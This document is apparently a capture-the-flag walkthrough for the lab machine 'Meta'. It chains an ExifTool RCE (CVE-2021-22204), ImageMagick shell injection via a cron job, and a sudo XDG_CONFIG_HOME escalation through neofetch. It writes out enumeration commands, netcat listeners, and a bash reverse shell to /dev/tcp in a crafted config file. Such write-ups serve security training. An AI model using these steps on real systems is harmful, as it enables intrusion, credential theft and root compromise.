Meta
Meta
Difficulty: Medium
Classification: Official
Synopsis
Meta is a medium difficulty Linux machine that focuses on two different CVEs (CVE-2021-22204 and CVE-
2020-29599) in ExifTool and ImageMagick, which can be exploited at different stages. Foothold is obtained
by uploading a maliciously crafted file to a web application that reads image metadata, in order to trigger
Remote Command Execution in ExifTool. Command injection in ImageMagick is then exploited to move
laterally to a second user. Finally, privileges can be escalated due to an env_keep setting in sudo that
allows attackers to run arbitrary commands as root by setting a custom configuration directory in an
environment variable.
Skills Required
Enumeration
Basic Linux knowledge
Skills Learned
Exploiting CVE-2021-22204 and CVE-2020-29599
Exploiting sudo misconfigurations
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.140 | grep ^[0-9] | cut -d '/' -f1 | tr
'\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.140
The nmap output shows OpenSSH and Apache listening on their default ports.
Apache
Browsing to port 80 redirects us to artcorp.htb . We add a corresponding entry to the /etc/hosts file:
Upon refreshing our browser we come across a landing page which contains some information about the
company. A product under development called "MetaView" is briefly mentioned.
We turn to subdomain enumeration in order to identify other existing virtual hosts:
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u
artcorp.htb -H "Host: FUZZ.artcorp.htb" --hh 0
Browsing to this subdomain, we find a link to the MetaView application mentioned above.
The link takes us to a web form where we can upload images and display their metadata.
We retrieve the file to inspect its contents, revealing the potential use of ExifTool to read image metadata.
curl http://dev01.artcorp.htb/metaview/composer.json
Foothold
Searching for potential vulnerabilities we come across CVE-2021-22204, which could grant us remote
command execution in case of a vulnerable ExifTool version installed on the target. We use Git to clone the
repository of one of the available public exploits to our attacking machine:
ip = '10.10.14.22'
./exploit.py
We open a Netcat listener on port 9090 and upload the generated image to the MetaView application.
nc -lnvp 9090
Lateral Movement
We upload and run pspy to monitor running processes.
We notice the /usr/local/bin/convert_images.sh script is run periodically by the user with UID=1000,
which corresponds to thomas as can be seen by reading /etc/passwd :
thomas:x:1000:1000:thomas,,,:/home/thomas:/bin/bash
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.*
2>/dev/null
pkill mogrify
The mogrify tool is part of the ImageMagick suite. The installed version is 7.0.10-36:
Searching for known vulnerabilities we come across an interesting article detailing a shell injection
vulnerability. We can exploit this to obtain a reverse shell as thomas . First we encode our reverse shell
payload to base64:
Then we create a file called rce.svg where our injected command will echo the base64 string generated
above, decode it and pass it to bash via a pipe. This will result in our payload being executed on the next
cron execution.
We open a Netcat listener on port 9999 and wait until a reverse shell as thomas is returned.
nc -lnvp 9999
The user flag can be found in /home/thomas/user.txt . Additionally, we can grab the private key from
/home/thomas/.ssh/id_rsa to obtain SSH access.
Privilege Escalation
Privilege Escalation
Listing sudo permissions we see that thomas can run /usr/bin/neofetch (with no arguments) as root
without supplying a password. We also notice that the XDG_CONFIG_HOME environment variable is
preserved.
Upon inspecting the source code of the /usr/bin/neofetch script we notice something interesting: the
XDG_CONFIG_HOME variable indicates the base directory where neofetch configuration files are found
( ${XDG_CONFIG_HOME}/neofetch/ ). If not set, a default value of ${HOME}/.config (which would be equal
to /root/.config when neofetch is ran through sudo ) is used.
XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-${HOME}/.config}"
get_user_config() {
mkdir -p "${XDG_CONFIG_HOME}/neofetch/"
# --config /path/to/config.conf
if [[ -f "$config_file" ]]; then
source "$config_file"
err "Config: Sourced user config. (${config_file})"
return
else
config_file="${XDG_CONFIG_HOME}/neofetch/config.conf"
mkdir -p /tmp/.myconfig/neofetch
Under this directory we create a file called config.conf with the following content:
print_info() {
prin "$(bash -i &>/dev/tcp/10.10.14.22/9999 0>&1)"
}
This defines a print_info() function that will execute our payload by calling a custom prin . We open a
Netcat listener on port 9999:
nc -lnvp 9999
We can now run sudo neofetch (setting the XDG_CONFIG_HOME variable) to obtain a reverse shell with
root privileges: